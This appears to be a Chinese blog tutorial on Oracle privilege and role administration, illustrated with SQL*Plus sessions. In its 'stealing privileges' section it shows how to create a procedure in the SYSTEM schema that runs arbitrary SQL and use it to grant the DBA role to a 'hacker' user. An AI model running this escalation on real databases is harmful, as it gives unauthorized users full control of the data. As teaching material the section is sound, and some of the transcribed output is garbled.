管理权限特权
管理权限
Oracle 用户权限分为两种类型:
系统权限:允许用户在数据库中执行特定的操作。
对象权限:允许用户访问和操作特定的对象。
系统权限
Oracle 数据库中有超过100种不同的系统权限。权限中的 “ANY” 关键字表示用户在任何模式(schema)中都具有该权限。
GRANT 命令用于向用户或一组用户添加权限。
REVOKE 命令用于删除权限。
SQL> desc session_privs
Name Nul1? Type
PRIVILEGE NOT NULL VARCHAR2(40)
SQL> SELECT * FROM session_privs;
PRIVILEGE CREATE SESSION
- 描述会话权限视图的结构:
desc session_privs;
: 这个命令用于显示session_privs
视图的列信息,包括列名、是否可以为空(NULL)以及数据类型。从输出中我们可以看到,session_privs
视图有一个名为PRIVILEGE
的列,该列的数据类型是VARCHAR2(40)
,并且不允许为空(NOT NULL
)。
- 查看当前会话的权限:
SELECT * FROM session_privs;
: 这个命令用于查询当前会话具有的权限。输出显示当前会话具有CREATE SESSION
权限,这意味着登录的用户有权限创建一个新的数据库会话。这是最基本的权限之一,通常每个用户都会被授予此权限,以便他们能够登录到数据库。
[ oracle@ trainserver "]$ sqlplus /nolog SQL* Plus: Release 9.2.0.4.0 -Production on Thu Mar 19 18:11:31 2009
Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.
SQL> conn /as sysdba Connected.
SQL> show user USER is "SYS"
SQL> col tablespace_name format a20
SQL> SELECT tablespace_name, contents FROM dba_tablespaces14 rows selected. # 登入数据库并且查询表[ oracle@ trainserver "]$ sqlplus /nolog SQL* Plus: Release 9.2.0.4.0 -Production on Thu Mar 19 18:14:52 2009
Copyright (c) 1982, 2002, Oracle Corporation. A11 rights reserved.
SQL> conn u1/bbk_12345 --登入数据库发现刚创建的数据库无法连接
ERROR: ORA-01045: user U1 lacks CREATE SESSION privilege; logon denied SQL> conn u1/bbk_12345 --增加连接权限后可以连接
Connected.
SQL> create table t(id int);create table t(id int)*
ERROR at line 1: ORA-01031: insufficient privileges
SQL> desc session_privs
Name Nul1? Type
PRIVILEGE NOT NULL VARCHAR2(40)
SQL> SELECT * FROM session_privs; # 查询权限
PRIVILEGE CREATE SESSION SQL>14 rows selected.--创建用户
SQL> create user u1 identified by bbk_12345 default tablespace mytbs quota unlimited o n mytbs;
User created.
SQL> create user u2 identified by bbk_12345 default tablespace mytbs quota unlimited o n mytbs;
User created.
SQL> create user u3 identified by bbk_12345 default tablespace mytbs quota unlimited o n mytbs;
类别和权限示例
类别 | 权限 | 描述 |
---|---|---|
INDEX | CREATE ANY INDEX | 允许用户在任何用户的表上创建索引。 |
ALTER ANY INDEX | 允许用户修改任何用户的索引。 | |
DROP ANY INDEX | 允许用户删除任何用户的索引。 | |
TABLE | CREATE TABLE | 允许用户创建表。 |
CREATE ANY TABLE | 允许用户在任何表空间中创建表。 | |
ALTER ANY TABLE | 允许用户修改任何用户的表。 | |
DROP ANY TABLE | 允许用户删除任何用户的表。 | |
SELECT ANY TABLE | 允许用户查询任何用户的表中的数据。 | |
DELETE ANY TABLE | 允许用户删除任何用户的表中的数据。 | |
UPDATE ANY TABLE | 允许用户更新任何用户的表中的数据。 | |
SESSION | CREATE SESSION | 允许用户建立数据库会话。 |
ALTER SESSION | 允许用户修改会话的参数。 | |
RESTRICTED SESSION | 允许用户在受限模式下建立会话。 | |
TABLESPACE | CREATE TABLESPACE | 允许用户创建新的表空间。 |
ALTER TABLESPACE | 允许用户修改表空间。 | |
DROP TABLESPACE | 允许用户删除表空间。 | |
UNLIMITED TABLESPACE | 允许用户在表空间中分配无限量的空间(通常不推荐授予此权限)。 |
系统权限限制
参数 07_DICTIONARY_ACCESSIBILITY
:
- 控制对系统权限的限制。
- 如果设置为
TRUE
,则允许访问SYS
模式中的对象。 - 默认设置为
FALSE
:确保允许访问任何模式的系统权限不会允许访问SYS
模式。
-- 显示当前用户
SQL> show user; -- 输出当前登录的用户,此处显示为系统管理员 "SYS"-- 显示参数 O7 的值
SQL> show parameter o7; -- 显示参数 07DICTIONARYACCESSIBILITY 的当前值,此处为 FALSE-- 正确修改参数 07DICTIONARYACCESSIBILITY 的值
SQL> alter system set "07_DICTIONARY_ACCESSIBILITY"=true scope=spfile; -- 将参数设置为 TRUE,并指定更改将在服务器参数文件中生效-- 立即关闭数据库
SQL> shutdown immediate; -- 立即关闭数据库,并在完成后卸载数据库
偷取权限
-- 查询当前会话的权限
SQL> select * from session_privs;
-- 输出当前会话具有的权限列表
-- 查询当前会话的角色
SQL> select * from session_roles;
-- 输出当前会话具有的角色列表
-- 创建一个存储过程,名为 h1,参数为 h1_str,该过程执行传入的 SQL 语句
SQL> create procedure system.h1(h1_str in varchar2) as
2 begin
3 execute immediate h1_str;
4 end;
5/
-- 创建成功,存储过程 h1 可以执行任意传入的 SQL 语句
-- 执行存储过程 h1,传入的参数为授权 DBA 角色给 hacker 的 SQL 语句
SQL> execute system.h1(' grant dba to hacker');
-- PL/SQL 过程执行成功,可能已将 DBA 角色授予了 hacker 用户
-- 再次查询当前会话的权限
SQL> select * from session_privs;
-- 输出当前会话具有的权限列表,注意权限列表中可能增加了 UNLIMITED TABLESPACE
请注意,上述代码块中的 execute system.h1(' grant dba to hacker');
命令存在安全风险,因为它允许执行任意 SQL 语句,这可能导致未授权的权限提升。在生产环境中应避免使用此类代码。此外,UNLIMITED TABLESPACE
权限的出现可能表明执行了未显示的授权操作,这同样需要谨慎处理。
对象权限
对象权限 | 表 | 视图 | 序列 | 过程 |
---|---|---|---|---|
更改(ALTER) | √ | √ | √ | |
删除(DELETE) | √ | √ | ||
执行(EXECUTE) | √ | |||
索引(INDEX) | √ | √ | ||
插入(INSERT) | √ | √ | ||
引用(REFERENCES) | √ | |||
选择(SELECT) | √ | √ | √ | |
更新(UPDATE) | √ | √ |
授权对象权限 使用GRANT命令来授权对象权限。授权者必须在授权者的模式中,或者授权者必须具有授权选项。
GRANT EXECUTE ON dbms_output TO jeff;
授予jeff对dbms_output包的执行权限。
GRANT UPDATE ON emi.customers TO jeff WITH GRANT OPTION;
授予jeff对emi模式中customers表的更新权限,并且jeff也有权限将这个更新权限授予其他用户。授权传递性
如何授予对象权限(Object Privileges),以及与视图相关的权限管理。
- 权限授予对象:
- 对象权限可以授予给用户、角色或者PUBLIC(即所有用户)。
- 视图权限和底层表权限:
- 如果一个视图引用了另一个用户的表或视图,那么要在这个视图上授予其他用户权限,你需要对视图所依赖的底层表拥有带有GRANT OPTION的权限。
- 例如,如果JOHN拥有一个视图,该视图引用了JAMES的表,那么为了将SELECT权限授予视图给其他用户,JOHN必须拥有JAMES表上的SELECT权限,并且这个权限是带有GRANT OPTION的。
- 表锁定权限:
- 任何在表上收到的对象权限都会授予给被授权者锁定该表的能力。
- 列级SELECT权限:
- 不能直接在表的列上指定SELECT权限。如果需要授予列级的SELECT权限,应该创建一个包含所需列的视图,然后在视图上授予SELECT权限。
以下是这些规则的代码示例:
- 不能直接在表的列上指定SELECT权限。如果需要授予列级的SELECT权限,应该创建一个包含所需列的视图,然后在视图上授予SELECT权限。
-- 假设JAMES拥有一个表,JOHN想要创建一个视图并授予他人权限
-- JAMES授予JOHN在表上的SELECT权限,带有GRANT OPTION
SQL> GRANT SELECT ON JAMES.table_name TO JOHN WITH GRANT OPTION;
-- JOHN创建视图
SQL> CREATE VIEW john_view AS SELECT * FROM JAMES.table_name;
-- JOHN现在可以在视图上授予其他用户SELECT权限
SQL> GRANT SELECT ON john_view TO some_other_user;
授予对象特权
你可以使用ALL或ALL PRIVILEGES来授予对象上所有可用的权限。即使你拥有DBA权限,要授予其他用户拥有的对象上的权限,你也必须已经被授予该对象上相应的带有GRANT OPTION的权限。
可以在一个语句中向多个用户和/或角色授予多个权限
以下是相应的SQL命令示例:
-- 授予JAMES对CUSTOMER表的所有权限
SQL> GRANT ALL ON CUSTOMER TO JAMES;
-- 在一个语句中向多个用户和角色授予多个权限
SQL> GRANT INSERT, UPDATE, SELECT ON CUSTOMER TO ADMIN_ROLE, JULIE, SCOTT; --系统特权和对象特权不能混着赋予
这些命令展示了如何在数据库中高效地管理权限,确保只有授权的用户和角色能够执行特定的数据库操作。使用WITH GRANT OPTION时,需要谨慎,因为这允许被授权者将权限进一步授予其他用户。
预定义角色
角色名称 | 描述 |
---|---|
CONNECT, RESOURCE, DBA | 这些角色用于向后兼容性 |
EXP_FULL_DATABASE | 导出数据库的权限 |
IMP_FULL_DATABASE | 导入数据库的权限 |
DELETE_CATALOG_ROLE | 数据字典表上的DELETE权限 |
EXECUTE_CATALOG_ROLE | 数据字典包上的EXECUTE权限 |
SELECT_CATALOG_ROLE | 数据字典表上的SELECT权限 |
预定义角色及权限
角色名称 | 权限描述 |
---|---|
CONNECT | 连接到数据库的权限,可以创建集群、数据库链接、序列、同义词、表和视图,以及修改会话。 |
RESOURCE | 创建集群、表和序列的权限,以及创建程序化对象如存储过程、函数、包、索引类型、类型、触发器和操作符的权限。 |
DBA | 所有系统权限,并带有ADMIN选项,可以将系统权限授予数据库的其他用户或角色。 |
SELECT_CATALOG_ROLE | 查询数据字典视图和表的权限。 |
EXECUTE_CATALOG_ROLE | 执行数据字典包(系统拥有的包)的权限。 |
DELETE_CATALOG_ROLE | 删除或重新创建数据字典包的权限。 |
EXP_FULL_DATABASE | 使用导出工具(Export utility)进行数据库的全量导出和增量导出的权限。 |
IMP_FULL_DATABASE | 使用导入工具(Import utility)执行全量数据库导入的权限。这是一个非常强大的角色。 |
获取角色的所有信息
-- 查询角色基本信息
SELECT * FROM DBA_ROLES WHERE ROLE = 'YOUR_ROLE_NAME';
-- 查询角色被授予的系统权限
SELECT * FROM DBA_SYS_PRIVS WHERE GRANTEE = 'YOUR_ROLE_NAME';
-- 查询角色被授予的对象权限
SELECT * FROM DBA_TAB_PRIVS WHERE GRANTEE = 'YOUR_ROLE_NAME';
-- 查询角色被授予的角色权限
SELECT * FROM DBA_ROLE_PRIVS WHERE GRANTEE = 'YOUR_ROLE_NAME';
-- 查询哪些用户或角色被授予了这个角色
SELECT * FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE = 'YOUR_ROLE_NAME';
- 例子
以下是您提供的 SQL 命令和查询的整理,包括代码块和必要的注释。我已经更正了一些格式错误,并添加了注释来解释每个命令的作用。
-- 授予角色 r1 创建会话的权限
SQL> GRANT CREATE SESSION TO r1;
Grant succeeded.
-- 将角色 r1 授予用户 u1
SQL> GRANT r1 TO u1;
Grant succeeded.
-- 授予角色 r2 创建表的权限
SQL> GRANT CREATE TABLE TO r2;
Grant succeeded.
-- 将角色 r2 授予用户 u1
SQL> GRANT r2 TO u1;
Grant succeeded.
-- 描述角色角色权限视图 role_role_privs 的结构
SQL> DESC role_role_privs;
Name Null? Type
---------- -------- ----------------------------
ROLE NOT NULL VARCHAR2(30)
GRANTED_ROLE NOT NULL VARCHAR2(30)
ADMIN_OPTION VARCHAR2(3)
-- 查询角色 r1 被授予了哪些角色权限
SQL> SELECT * FROM role_role_privs WHERE role='R1';
ROLE GRANTED_ROLE ADM
---------- ------------ ---
R1 R2 NO
-- 查询角色 r2 被授予了哪些角色权限(没有结果)
SQL> SELECT * FROM role_role_privs WHERE role='R2';
no rows selected
-- 描述角色系统权限视图 role_sys_privs 的结构
SQL> DESC role_sys_privs;
Name Null? Type
---------- -------- ----------------------------
ROLE NOT NULL VARCHAR2(30)
PRIVILEGE NOT NULL VARCHAR2(40)
ADMIN_OPTION VARCHAR2(3)
-- 描述角色表权限视图 role_tab_privs 的结构
SQL> DESC role_tab_privs;
Name Null? Type
---------- -------- ----------------------------
ROLE NOT NULL VARCHAR2(30)
OWNER NOT NULL VARCHAR2(30)
TABLE_NAME NOT NULL VARCHAR2(30)
COLUMN_NAME VARCHAR2(30)
PRIVILEGE NOT NULL VARCHAR2(40)
GRANTABLE VARCHAR2(3)
-- 查询以 'RA' 开头的角色拥有的系统权限
SQL> SELECT * FROM role_sys_privs WHERE role LIKE 'RA%';
-- 重复描述角色角色权限视图 role_role_privs 的结构
SQL> DESC role_role_privs;
Name Null? Type
---------- -------- ----------------------------
ROLE NOT NULL VARCHAR2(30)
GRANTED_ROLE NOT NULL VARCHAR2(30)
ADMIN_OPTION VARCHAR2(3)
-- 查询角色 r1 被授予了哪些角色权限(重复查询)
SQL> SELECT * FROM role_role_privs WHERE role='R1';
ROLE GRANTED_ROLE ADM
---------- ------------ ---
R1 R2 NO
-- 查询角色 r2 被授予了哪些角色权限(没有结果,语法错误已更正)
SQL> SELECT * FROM role_role_privs WHERE role='R2';
no rows selected
-- 描述角色系统权限视图 role_sys_privs 的结构(重复描述)
SQL> DESC role_sys_privs;
Name Null? Type
---------- -------- ----------------------------
ROLE NOT NULL VARCHAR2(30)
PRIVILEGE NOT NULL VARCHAR2(40)
ADMIN_OPTION VARCHAR2(3)
-- 描述角色表权限视图 role_tab_privs 的结构(不完整,已更正)
SQL> DESC role_tab_privs;
Name Null? Type
---------- -------- ----------------------------
ROLE NOT NULL VARCHAR2(30)
OWNER NOT NULL VARCHAR2(30)
TABLE_NAME NOT NULL VARCHAR2(30)
COLUMN_NAME VARCHAR2(30)
PRIVILEGE NOT NULL VARCHAR2(40)
GRANTABLE VARCHAR2(3)
请注意,以上 SQL 命令块中的 DESC
是 DESCRIBE
的缩写,用于描述表的结构。
缺省(default)角色
- 用户可以被分配许多角色。
- 用户可以被分配一个默认角色。
- 限制用户默认角色的数量。
-- 将hr_clerk和oe_clerk设置为用户scott的默认角色
ALTER USER scott DEFAULT ROLE hr_clerk, oe_clerk;
-- 将所有角色设置为用户scott的默认角色
ALTER USER scott DEFAULT ROLE ALL;
-- 将除了hr_clerk之外的所有角色设置为用户scott的默认角色
ALTER USER scott DEFAULT ROLE ALL EXCEPT hr_clerk;
-- 取消用户scott的所有默认角色
ALTER USER scott DEFAULT ROLE NONE;
- 可以通过
ALTER USER
命令为用户设置默认角色。 - 当用户登录数据库时,默认角色会自动被激活,无需用户手动启用。
- 通过指定
DEFAULT ROLE
,可以控制用户在登录时自动获得哪些角色的权限。 - 使用
ALL
关键字可以设置所有角色为默认角色。 - 使用
ALL EXCEPT
可以设置除特定角色外的所有其他角色为默认角色。 - 使用
NONE
可以取消所有默认角色的设置,这样用户在登录后将不会自动获得任何角色的权限。
管理角色启用和禁用
- 禁用角色以临时撤销用户的角色。
- 启用角色以临时授予权限。
- 使用SET ROLE命令来启用和禁用角色。
- 默认角色在用户登录时自动启用。
- 启用角色可能需要密码。
中文解释: - 禁用角色:可以通过禁用角色来临时撤销已经赋予用户的角色权限。禁用后,用户将无法使用该角色所包含的权限,直到角色被重新启用。
- 启用角色:启用角色可以临时地给用户授予权限。一旦角色被启用,用户就可以执行该角色所允许的操作。
- SET ROLE命令:
SET ROLE
命令用于在会话中启用或禁用角色。使用此命令,可以控制用户在当前会话中的权限。 - 默认角色:在用户登录数据库时,默认角色会自动启用,无需用户执行任何操作即可使用这些角色的权限。
- 角色启用密码:某些角色可能需要密码才能启用。这是为了增加安全性,确保只有知道密码的用户才能使用这些角色。
-- 禁用角色
SET ROLE role_name DISABLE;
-- 启用角色
SET ROLE role_name;
-- 如果角色需要密码,则启用时需提供密码
SET ROLE role_name IDENTIFIED BY password;
-- 启用hr_clerk角色
SET ROLE hr_clerk;
-- 启用oe_clerk角色,并指定密码为'order'
SET ROLE oe_clerk IDENTIFIED BY order;
-- 启用所有角色,除了oe_clerk
SET ROLE ALL EXCEPT oe_clerk;
SET ROLE hr_clerk;
- 此命令用于在当前会话中启用
hr_clerk
角色。一旦执行,用户将获得hr_clerk
角色所包含的所有权限。
- 此命令用于在当前会话中启用
SET ROLE oe_clerk IDENTIFIED BY order;
- 此命令用于在当前会话中启用
oe_clerk
角色,但前提是提供了正确的密码order
。如果角色被设置为需要密码才能启用,则必须提供密码。
- 此命令用于在当前会话中启用
SET ROLE ALL EXCEPT oe_clerk;
- 此命令用于在当前会话中启用除
oe_clerk
之外的所有角色。这意味着用户将获得除oe_clerk
角色之外的所有角色的权限。
请注意,这些命令是在SQL会话中执行的,它们只影响当前会话的权限设置,不会更改用户的长期权限配置。此外,启用角色时,如果角色被设置为需要密码,则必须提供正确的密码,否则命令将失败。
- 此命令用于在当前会话中启用除
删除角色
以下是删除角色的详细说明,采用代码块和注释的形式:
-- 删除名为 'hr manager' 的角色
DROP ROLE 'hr manager';
在此SQL命令中:
DROP ROLE
是用来删除角色的SQL语句。'hr manager'
是要删除的角色名称。注意,角色名称通常需要用单引号括起来,特别是当名称包含空格或其他特殊字符时。
在执行此操作之前,需要考虑以下几点:- 必须具有足够的权限,即拥有
ADMIN OPTION
权限或DROP ANY ROLE
系统权限。 - 删除角色会从所有拥有该角色的用户和角色中移除它。
- 删除角色后,所有依赖该角色的权限都将被撤销。
- 确保没有用户正在使用该角色,因为删除角色后,这些用户将失去与该角色关联的所有权限。
- 如果有其他角色继承或依赖于要删除的角色,可能需要先调整这些角色的权限设置。
应用角色(Application Roles)
应用角色(Application Roles)是可以通过特定的PL/SQL包来启用。应用角色通常用于应用程序中,以提供对数据库对象的精细访问控制。以下是对您提供的SQL命令的解释:
CREATE ROLE admin_role IDENTIFIED USING hr.employee;
这条SQL命令的含义如下:
CREATE ROLE
:这是用来创建一个新角色的SQL语句。admin_role
:这是你想要创建的角色名称。在这个例子中,角色被命名为admin_role
。IDENTIFIED USING
:这个子句指定了用于启用该角色的PL/SQL包。这意味着只有当指定的PL/SQL包执行时,角色admin_role
才能被激活。hr.employee
:这是指定PL/SQL包的名称,该包必须存在于hr
模式(schema)中,并且必须有一个过程或函数能够控制角色的启用。通常,这个包会包含一些逻辑来验证用户的身份,并在验证通过后启用角色。
在创建应用角色之后,通常需要在PL/SQL包中实现相应的逻辑来启用该角色。例如,包hr.employee
可能包含以下代码:
CREATE OR REPLACE PACKAGE hr.employee ASPROCEDURE enable_admin_role;
END employee;
/
CREATE OR REPLACE PACKAGE BODY hr.employee ASPROCEDURE enable_admin_role ISBEGIN-- 这里可以添加用户验证逻辑-- 如果验证通过,则启用角色EXECUTE IMMEDIATE 'SET ROLE admin_role';END enable_admin_role;
END employee;
/
在这个例子中,enable_admin_role
过程会在用户验证通过后执行SET ROLE admin_role;
命令,从而启用admin_role
角色。
请注意,使用应用角色时,应当确保只有授权的用户能够执行启用角色的PL/SQL包,以防止未授权访问。
层次级设计方法。把privileges理解成原子级的操作,然后按照分层次的方法分成两类角色,一类是应用程序角色,比如上图中的工资角色和好处(福利)角色;另一类是用户角色,根据这些角色的职责把应用程序角色划分给用户角色。
默认角色创建指南:
在一个例子中,有两种方式可以访问数据库,一种是PL/sql,一种是提供的应用程序接口。想要安全的保护数据,有两种方法:一是让用户只使用应用程序接口的方式。另一种是让通过PL/sql方式访问的角色的权限只有查询,而非缺省的角色(需要密码的)被应用程序调用。
一些视图
DBA_ROLES
- ROLE:角色的名称。
- PASSWORD_REQUIRED:角色是否需要密码。
- AUTHENTICATION_TYPE:角色的认证类型。
- COMMON:指示角色是否为公共角色。
- ORACLE_MAINTAINED:指示角色是否由Oracle维护。
- IMPLICIT:指示角色是否是隐式创建的。
- CREATED:角色创建的日期和时间。
- LAST_DROPPED:角色最后一次被删除的日期和时间(如果曾经被删除过)。
功能:这个视图提供了数据库中所有角色的列表和相关信息。
DBA_ROLE_PRIVS
- GRANTEE:被授予权限的用户或角色。
- GRANTED_ROLE:授予给用户或角色的角色。
- ADMIN_OPTION:指示是否授予了管理员选项,允许授予权限给其他用户。
- DELEGATE_OPTION:指示是否允许角色被委托。
功能:这个视图显示了哪些角色被授予了哪些用户或角色,以及相关的管理选项。
ROLE_ROLE_PRIVS
- ROLE:拥有其他角色的角色。
- GRANTED_ROLE:被授予的角色。
- ADMIN_OPTION:指示是否授予了管理员选项。
功能:这个视图显示了角色之间的权限继承关系,即哪些角色被授予了其他角色。
DBA_SYS_PRIVS
- GRANTEE:被授予权限的用户或角色。
- PRIVILEGE:授予的系统权限。
- ADMIN_OPTION:指示是否授予了管理员选项。
功能:这个视图列出了授予用户和角色的系统权限。
ROLE_SYS_PRIVS
- ROLE:角色名称。
- PRIVILEGE:授予角色的系统权限。
- ADMIN_OPTION:指示是否授予了管理员选项。
功能:这个视图显示了授予角色的系统权限。
ROLE_TAB_PRIVS
- ROLE:角色名称。
- OWNER:对象的所有者。
- TABLE_NAME:表名或视图名。
- PRIVILEGE:授予的对象权限(如SELECT、INSERT、UPDATE等)。
- GRANTABLE:指示是否可以将权限授予其他用户。
功能:这个视图列出了授予角色的对象权限,包括表和视图。
SESSION_ROLES
- ROLE:当前会话中启用的角色。
功能:这个视图显示了当前会话中用户启用的角色。这有助于了解用户当前具有哪些角色权限。
相关文章:
管理权限特权
管理权限 Oracle 用户权限分为两种类型: 系统权限:允许用户在数据库中执行特定的操作。 对象权限:允许用户访问和操作特定的对象。 系统权限 Oracle 数据库中有超过100种不同的系统权限。权限中的 “ANY” 关键字表示用户在任何模式&#x…...
基于海思soc的智能产品开发(视频的后续开发)
【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 前面我们讨论了camera,也讨论了屏幕驱动,这些都是基础的部分。关键是,我们拿到了这些视频数据之后,…...
为什么相关性不是因果关系?人工智能中的因果推理探秘
目录 一、背景 (一)聚焦当下人工智能 (二)基于关联框架的人工智能 (三)基于因果框架的人工智能 二、因果推理的基本理论 (一)因果推理基本范式:因果模型࿰…...
【QT】已解决:Qt4.11.0无法使用MSVC编译器问题
目录 一、背景 1.本机环境 2.问题描述 3.问题解决前后对比图 二、详细操作 1.下载项目二所需qt环境 2.解决思路 3.安装VS2017 4.安装MSVC调试器 5.打开qtCreator查看编译器 5.编译运行项目二 三、参考 一、背景 1.本机环境 windows11 qtCreator4.11.0 minGW 64位…...
python如何解析word文件格式(.docx)
python如何解析word文件格式(.docx) .docx文件遵从开源的“Office Open XML标准”,这意味着我们能用python的文本操作对它进行操作(实际上PPT和Excel也是)。而且这并不是重复造轮子,因为市面上操作.docx的…...
点云目标检测训练数据预处理---平面拟合与坐标转换(python实现)
在做centerpoint训练之前,需要先对点云数据进行标注,然后制作kittti数据集。不用nuScenes或者waymo数据集的理由也很简单,因为麻烦,没有kitti数据集直观。 kitti数据集的格式如下,可以看到数据集中只有航向角ÿ…...
Debezium日常分享系列之:对于从Oracle数据库进行快照的性能优化
Debezium日常分享系列之:对于从Oracle数据库进行快照的性能优化 源数据库Kafka Connect监控测试结果 源数据库 Oracle 19c,本地,CDB数据库主机的I/O带宽为6 GB/s,由此主机上运行的所有数据库共享临时表空间由42个文件组成&#x…...
logback日志自定义占位符
前言 在大型系统运维中,很大程度上是需要依赖日志的。在java大型web工程中,一般都会使用slf4jlogback这一个组合来实现日志的管理。 logback中很多现成的占位符可以可以直接使用,比如线程号【%t】、时间【%d】、日志等级【%p】,…...
【Red Hat8】:搭建FTP服务器
目录 一、匿名FTP访问 1、新建挂载文件 2、挂载 3、关闭防火墙 4、搭建yum源 5、安装VSFTPD 6、 打开配置文件 7、设置配置文件如下几个参数 8、重启vsftpd服务 9、进入图形化界面配置网络 10、查看IP地址 11、安装ftp服务 12、遇到拒绝连接 13、测试 二、本地…...
华为AI培训-NLP实验
中文分词、命名实体识别、语义词性标注、语句逻辑推理、文本摘要、机器翻译、文本情感分析、内容创作 1 实验介绍 1.1 实验背景 中文分词、命名实体识别、语义词性标注、语句逻辑推理是自然语言处理领域中的重要任务。中文分词是将连续的汉字序列切分成有意义的词语序列…...
goodreads书籍评论爬取NRC Emotion Lexicon分析
文章目录 目标网站数据获取评论情感分析对爬虫、逆向感兴趣的同学可以查看文章,一对一小班教学:https://blog.csdn.net/weixin_35770067/article/details/142514698 目标网站 https://www.goodreads.com/book/show/3656.The_Sea 就是针对一本书进行3000+评论抓取和情感分析…...
【vitePress】基于github快速添加评论功能(giscus)
一.添加评论插件 使用giscus来做vitepress 的评论模块,使用也非常的简单,具体可以参考:giscus 文档,首先安装giscus npm i giscus/vue 二.giscus操作 打开giscus 文档,如下图所示,填入你的 github 用户…...
论文笔记(六十二)Diffusion Reward Learning Rewards via Conditional Video Diffusion
Diffusion Reward Learning Rewards via Conditional Video Diffusion 文章概括摘要1 引言2 相关工作3 前言4 方法4.1 基于扩散模型的专家视频建模4.2 条件熵作为奖励4.3 训练细节 5 实验5.1 实验设置5.2 主要结果5.3 零样本奖励泛化5.4 真实机器人评估5.5 消融研究 6 结论 文章…...
电梯系统的UML文档07
从这个类中得到的类图,构划出了软件的大部分设计。 系统结构视图提供软件和整个系统结构最复杂的也是最优雅的描述。和通常的软件系统相比,在分布式嵌入系统中了解系统组件如何协同工作是非常重要的。毕竟,每个类图仅仅是一个系统的静态设计…...
【Python】综合案例--人生重开模拟器
1. 设置初始属性 在游戏中我们设定四个属性.: 颜值 (face) 体质 (strong) 智力 (iq) 家境 (home)我们约定每个属性的范围为 [1, 10], 并且总和不能超过 20. 如果玩家输入的初始属性不合理, 就提示输入有误, 重新输入. print("-----------------------------------------…...
vue+高德API搭建前端3D交通页面
1. 模板部分 (<template>) <template><div class"content"><div><div id"container"></div></div></div> </template> 功能:定义了组件的HTML结构。分析: div.content 是最…...
2024年博客之星主题创作|猫头虎分享AI技术洞察:2025年AI发展趋势前瞻与展望
2025年AI发展趋势前瞻:猫头虎深度解析未来科技与商业机遇 摘要 2024年,AI技术迎来爆发式增长,AIGC、智能体、AIRPA、AI搜索、推理模型等技术不断突破,AI应用场景持续扩展。2025年,AI将进入全新发展阶段,W…...
算法刷题笔记——图论篇
这里写目录标题 理论基础图的基本概念图的种类度 连通性连通图强连通图连通分量强连通分量 图的构造邻接矩阵邻接表 图的遍历方式 深度优先搜索理论基础dfs 与 bfs 区别dfs 搜索过程深搜三部曲所有可达路径广度优先搜索理论基础广搜的使用场景广搜的过程 岛屿数量孤岛的总面积沉…...
虚幻基础-1:cpu挑选(14600kf)
能帮到你的话,就给个赞吧 😘 文章目录 ue非常吃cpu拉满主频打开项目编写蓝图运行原因 时间长 关于压力测试 本文以14600kf为例,双12购入,7月份产。 ue非常吃cpu 经本人测试,ue是非常吃cpu的。 拉满主频 无论任何时间…...
IP地址:127.0.0.1
概述 首先,我们需要明确 127.0.0.1 地址的含义。在网络中,127.0.0.1 地址称为本地回环地址,是一种特殊的网络地址,用于让单独的计算机进行自我回路测试和通信。这个地址在 IP 协议中被定义为环回地址。 在网络设备中,…...
深度学习 | pytorch + torchvision + python 版本对应及环境安装
Hi,大家好,我是半亩花海。要让一个基于 torch 框架开发的深度学习模型正确运行起来,配置环境是个重要的问题,本文介绍了 pytorch、torchvision、torchaudio 及 python 的对应版本以及环境安装的相关流程。 目录 一、版本对应 二…...
学习ASP.NET Core的身份认证(基于JwtBearer的身份认证6)
重新创建WebApi项目,安装Microsoft.AspNetCore.Authentication.JwtBearer包,将之前JwtBearer测试项目中的初始化函数,jwt配置类、token生成类全部挪到项目中。 重新编写login函数,之前测试Cookie和Session认证时用的函数适合m…...
企业级流程架构设计思路-基于价值链的流程架构
获取更多企业流程资料 纸上得来终觉浅,绝知此事要躬行 一.企业流程分级规则定义 1.流程分类分级的总体原则 2.完整的流程体系需要体现出流程的分类分级 03.通用的流程分级方法 04.流程分级的标准 二.企业流程架构设计原则 1.流程架构设计原则 流程框架是流程体…...
深度学习 DAY2:Transformer(一部分)
前言 Transformer是一种用于自然语言处理(NLP)和其他序列到序列(sequence-to-sequence)任务的深度学习模型架构,它在2017年由Vaswani等人首次提出。Transformer架构引入了自注意力机制(self-attention mech…...
【2025】拥抱未来 砥砺前行
2024是怎样的一年 2024在历史画卷上是波澜壮阔的一年,人工智能的浪潮来临,涌现出无数国产大模型。 22年11月ChatGPT发布,它的出现如同在平静湖面上投下一颗巨石,激起了层层波澜,短短五天用户数就达到了100万࿰…...
精选100+套HTML可视化大屏模板源码素材
大屏数据可视化以大屏为主要展示载体的数据可视化设计。 “大面积、炫酷动效、丰富色彩”,大屏易在观感上给人留下震撼印象,便于营造某些独特氛围、打造仪式感。 原本看不见的数据可视化后,便能调动人的情绪、引发人的共鸣。 使用方法&…...
欧拉(Euler 22.03)安装ProxySQL
下载离线安装包 proxysql-2.0.8-1-centos7.x86_64.rpm 链接: https://pan.baidu.com/s/1R-SJiVUEu24oNnPFlm9wRw 提取码: sa2w离线安装proxysql yum localinstall -y proxysql-2.0.8-1-centos7.x86_64.rpm 启动proxysql并检查状态 systemctl start proxysql 启动proxysql syste…...
Electron实践继续
文章目录 前言一、知识储备前提二、开发工具集(一)代码编辑器之选(二)命令行工具运用(三)Git 与 GitHub 协作利器(四)Node.js 与 npm 核心环境 你的第一个Electron应用程序 前言 上…...
【STM32-学习笔记-11-】RTC实时时钟
文章目录 RTC实时时钟一、RTC简介二、RTC框图三、RTC基本结构四、RTC操作注意事项五、RTC函数六、配置RTCMyRTC.c 七、示例:实时时钟①、main.c②、MyRTC.c③、MyRTC.h RTC实时时钟 一、RTC简介 RTC(Real Time Clock)实时时钟 RTC是一个独立…...
使用ffmpeg提高mp4压缩比,减小文件体积【windows+ffmpeg+batch脚本】
文章目录 关于前情提要FFmpeg是什么使用脚本运行FFmpeg首先,下载ffmpeg.exe然后在视频相同位置写一个bat脚本运行压缩脚本 关于 个人博客,里面偶尔更新,最近比较忙。发一些总结的帖子和思考。 江湖有缘相见🤝。如果读者想和我交…...
PostgreSQL-01-入门篇-简介
文章目录 1. PostgreSQL是什么?2. PostgreSQL 历史 2.1. 伯克利 POSTGRES 项目2.2. Postgres952.3. PostgreSQL来了 3. PostgreSQL vs MySQL4. 安装 4.1 Windows 安装4.2 linux 安装4.3 docker安装 1. PostgreSQL是什么 PostgreSQL 是一个基于加州大学伯克利分校计算机系开…...
虚拟专用网VPN的概念及实现VPN的关键技术
